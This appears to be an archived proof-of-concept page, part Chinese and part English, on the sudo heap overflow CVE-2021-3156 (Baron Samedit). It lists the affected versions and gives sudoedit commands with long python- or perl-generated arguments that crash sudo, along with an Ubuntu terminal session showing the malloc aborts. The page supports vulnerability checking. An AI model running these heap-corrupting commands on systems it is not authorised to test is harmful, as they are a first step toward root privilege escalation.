关联漏洞
标题:
Sudo 缓冲区错误漏洞
(CVE-2021-3156)
描述:Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序。 Sudo 1.9.5p2 之前版本存在缓冲区错误漏洞,攻击者可使用sudoedit -s和一个以单个反斜杠字符结束的命令行参数升级到root。
介绍
# Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156
---
### Version Vulnarable To The Exploit
The Baron Samedit vulnerability (CVE-2021-3156) affects sudo legacy versions 1.8.2 through 1.8.31p2 and stable versions 1.9.0 through 1.9.5p1. This heap-based buffer overflow flaw was introduced in July 2011 via commit 8255ed69 and remained undetected for nearly a decade
Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
### Checking the vulnarability with python command
```sh
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
```
```sh
malloc(): invalid size (unsorted)
Aborted
```
### Checking the vulnarability with python command
```sh
sudoedit -s '\' `perl -e 'print "A" x 65536'`
```
```sh
malloc(): corrupted top size
Aborted (core dumped)
```
### Ussage and Result in ubuntu 20.04
```bash
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)
shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
```
文件快照
[4.0K] /data/pocs/123d8736876f3ecc926af80de6255516a0ad2a7d
├── [ 17K] CVE-2021-3156 checking with perl command.md
├── [2.6K] CVE-2021-3156 checking with python command.md
├── [1.4K] README.md
└── [3.3K] sudo version vulnarable to exploit.md
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。